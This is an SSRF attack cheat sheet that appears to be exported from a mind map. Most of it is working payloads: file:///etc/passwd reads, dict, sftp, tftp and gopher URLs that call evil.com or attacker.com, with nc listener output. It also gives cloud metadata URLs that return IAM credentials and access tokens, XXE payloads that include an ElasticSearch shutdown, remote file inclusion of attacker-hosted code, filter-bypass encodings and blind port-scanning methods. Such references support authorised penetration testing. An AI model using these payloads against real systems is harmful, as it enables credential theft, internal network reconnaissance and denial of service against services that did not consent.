SSRF (Server-Side Request Forgery)

Created by @mehdi0x90

Where is it found?

- webhooks
- file upload via URL
- document and image processors
  - HTML / PDF / Image
  - SSRF via ffmpeg AVI / M3U8
  - XXE; xml, docx,odt
  - SVG
- link expansion
- proxy / load balancer services
  - GET @evil.com HTTP/1.1
  - Headers: Host, Referer, X-Forwarded-For

When does it occur?

- Users: https://public.example.com/upload_profile_from_url.php?url=www.google.com/cute_pugs.jpeg
- Attacker: https://public.example.com/upload_profile_from_url.php?url=localhost/secret_password_file.txt

How to test

- request: https://public.example.com/upload_profile_from_url.php?url=127.0.0.1:22 — server response: Error: cannot upload image: SSH-2.0-OpenSSH_7.2p2 Ubuntu-4ubuntu2.4 — port 22 is open on the server
- try first:
  - 127.0.0.0/8
  - 192.168.0.0/16
  - 10.0.0.0/8
- request: https://public.example.com/webhook?url=127.0.0.1:80 — response HTTP status code: status code of 200 (Status code for "OK")
- request: https://public.example.com/webhook?url=127.0.0.1:11 — response HTTP status code: status code of 500 (Status code for "Internal Server Error")

URL schemas

- file:///
  - http://example.com/ssrf.php?url=file:///etc/passwd
  - http://example.com/ssrf.php?url=file:///C:/Windows/win.ini
- dict://
  - http://example.com/ssrf.php?dict://evil.com:1337/
  ```
  evil.com:$ nc -lvp 1337
  Connection from [192.168.0.12] port 1337 [tcp/*]
  accepted (family 2, sport 31126)
  CLIENT libcurl 7.40.0
  ```
- sftp://
  - http://example.com/ssrf.php?url=sftp://evil.com:1337/
  ```
  evil.com:$ nc -lvp 1337
  Connection from [192.168.0.12] port 1337 [tcp/*] accepted (family 2, sport 37146)
  SSH-2.0-libssh2_1.4.2
  ```
- ldap://
  - http://example.com/ssrf.php?url=ldap://localhost:1337/%0astats%0aquit
  - http://example.com/ssrf.php?url=ldaps://localhost:1337/%0astats%0aquit
  - http://example.com/ssrf.php?url=ldapi://localhost:1337/%0astats%0aquit
- tftp://
  - http://example.com/ssrf.php?url=tftp://evil.com:1337/TESTUDPPACKET
  ```
  evil.com:# nc -lvup 1337
  Listening on [0.0.0.0] (family 0, port 1337)
  TESTUDPPACKEToctettsize0blksize512timeout3
  ```
- gopher://
  ```
  http://example.com/ssrf.php?url=http://attacker.com/gopher.php
  gopher.php (host it on acttacker.com):-
  <?php
    header('Location: gopher://evil.com:1337/_Hi%0Assrf%0Atest');
  ?>

  evil.com:# nc -lvp 1337
  Listening on [0.0.0.0] (family 0, port 1337)
  Connection from [192.168.0.12] port 1337 [tcp/*] accepted (family 2, sport 49398)
  Hi
  ssrf
  test
  ```

exploiting

SSRF vulnerabilities can be used to

- Scan the network for hosts
  - request: https://public.example.com/upload_profile_from_url.php?url=10.0.0.1 — server response: Error: cannot upload image: http-server-header: Apache/2.2.8 (Ubuntu) DAV/2 — valid host on the network
  - request: https://public.example.com/upload_profile_from_url.php?url=10.0.0.2 — server response: Error: cannot upload image: Connection Failed — not valid host on the network
- Port scan internal machines and fingerprint internal services
  - request to port 80: /showimage.php?file=http://127.0.0.1:80 — server response: Error: cannot upload image: http-server-header: Apache/2.2.8 (Ubuntu) DAV/2 — port 80 is open on the server
  - request to port 11: /showimage.php?file=http://127.0.0.1:11 — server response: Error: cannot upload image: Connection Failed — port 11 is not open on server
- collect instance metadata
  - AWS EC2
    - http://169.254.169.254/latest/meta-data/ — returns the list of available metadata that you can query
    - http://169.254.169.254/latest/meta-data/local-hostname/ — returns the internal hostname used by the host
    - http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE_NAME — returns the security credentials of that role
    - http://169.254.169.254/latest/dynamic/instance-identity/document — reveals the private IP address of the current instance
    - http://169.254.169.254/latest/user-data/ — returns user data on the current instance
  - Google Cloud
    - Querying Google Cloud Metadata APIv1 requires special headers: "Metadata-Flavor: Google" or "X-Google-Metadata-Request: True"
    - http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token — returns the access token of the default account on the instance
    - http://metadata.google.internal/computeMetadata/v1beta1/project/attributes/ssh-key — returns public SSH keys that can connect to other instances in this project
- execute code on reachable machines — SSRF using RFI — http://vulnerableSite/rfi.php?ip=victim_ip_scan&language=http://attacker/ssrf.txt&action=go — ssrf.txt is a malicious file
- SSRF to XSS
  - upload xss script on your own Server http://attacker/a.html — paste it at the value of consumerUri — https://vulnerableSite/users/icon-uri?consumerUri=http://attacker/a.html
  - http://brutelogic.com.br/poc.svg -> simple alert — https://vulnerableSite/users/icon-uri? consumerUri -> simple ssrf — https://vulnerableSite/users/icon-uri?consumerUri=http://brutelogic.com.br/poc.svg
- XXE to SSRF — <!DOCTYPE test [<!ENTITY xxe SYSTEM "http://169.254.169.254/">]>
- SSRF from XSS — The content of the file will be integrated inside the PDF as an image or text — <img src="echopwn" onerror="document.write('< iframe src=file:///etc/passwd></iframe>')"/>

Out-of-Band with XXE

- As an example, assume we have the following XML:
  ```
  <creds>
  <user>Ed</user>
  <pass>mypass</pass>
  </creds>
  ```
- To perform an XXE out-of-band attack, you'll need to add three new lines of code to the XML, to create a malicious XML document
  ```
  <?xml version="1.0" encoding="ISO-8859-1"?>
  <!DOCTYPE foo [ <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
  <creds>
  <user>&xxe;</user>
  <pass>mypass</pass>
  </creds>
  ```
- You can also use this technique to perform actions on exposed APIs that support the GET method. For example, when using the shutdown command on an ElasticSearch (which is exposed on the default port 9200), ElasticSearch doesn't care about the POST data, so you can easily add some extra code:
  ```
  <?xml version="1.0" encoding="ISO-8859-1"?>
  <!DOCTYPE foo [ <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM "http://localhost:9200/_shutdown" >]>
  <creds>
  <user>&xxe;</user>
  <pass>mypass</pass>
  </creds>
  ```
  we can shutdown the ElasticSearch instance and cause to denial of service to the webserver

Filter Bypass

- Using alternative IP representation that evaluate to 127.0.0.1
  - Decimal notation: 2130706433
  - Octal notation: 017700000001
  - IP shortening: 127.1
  - Subtopic 4
- Obfuscation
  - URL encoding
  - double URL encoding
- Registering your own domain that resolves to 127.0.0.1
- Using the @ character to separate between the userinfo and the host: https://expected-domain@attacker-domain
- URL fragmentation with the # character: https://attacker-domain#expected-domain
- Fuzzing
- Open Redirect
  - Open redirects can potentially be used to bypass server side whitelist filtering, by appearing to be from the target domain (which has an increased chance of being whitelisted). — /foo/bar?vuln-function=http://127.0.0.1:8888/secret
  - suppose the application contains an open redirection vulnerability in which the following URL: — /product/nextProduct?currentProductId=6& path=http://evil-user.net
  - You can leverage the open redirection vulnerability to bypass the URL filter, and exploit the SSRF vulnerability as follows:
    ```
    POST /product/stock HTTP/1.0
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 118

    stockApi=http://weliketoshop.net/product/nextProduct?
    currentProductId=6&path=http://192.168.0.68/admin
    ```
- Combinations of all of the above

Blind SSRF

blind SSRFs is often limited to network mapping, port scanning, and service discovery

- Network and Port Scanning using HTTP status codes
  - https://public.example.com/webhook?url=10.0.0.1 — HTTP status code of 200 (Status code for "OK")
  - https://public.example.com/webhook?url=10.0.0.2 — HTTP status code of 500 (Status code for "Internal Server Error")
- Network and Port Scanning using Server response times
  - to discover which networks are routed internally, try looking at the time difference in responses. Unrouted networks are often dropped by the router immediately (small time increase). Internal firewalling rules often cause routed networks to increase the RTT (bigger time increase). Also, remember that routers and switches often have an HTTP or SSH interface enabled, so it often pays off to try .1 and .254 addresses on port 22, 80, 443, 8080, and 8443 first.
    - http://127.0.0.1:22 — Response HTTP status: 200 — RTT: 10ms — Port is open
    - http://127.0.0.1:23 — Response HTTP status: 500 — RTT: 10ms — Port is closed
    - http://10.0.0.1/ — Response HTTP status: 500 — RTT: 30010ms — Firewalled or unable to route traffic to server
    - http://10.0.0.1:8080/ — Response HTTP status: 500 — RTT: 10ms — Port is closed and traffic is routed to server
- Out-of-Band detection — Select the Referer header, and replace the original domain with a Burp Collaborator generated domain. Send the request. — Go to the Collaborator tab, and click "Poll now". If you don't see any interactions listed, wait a few seconds and try again, since the server-side command is executed asynchronously. — You should see some DNS and HTTP interactions that were initiated by the application as the result of your payload

Presented with xmind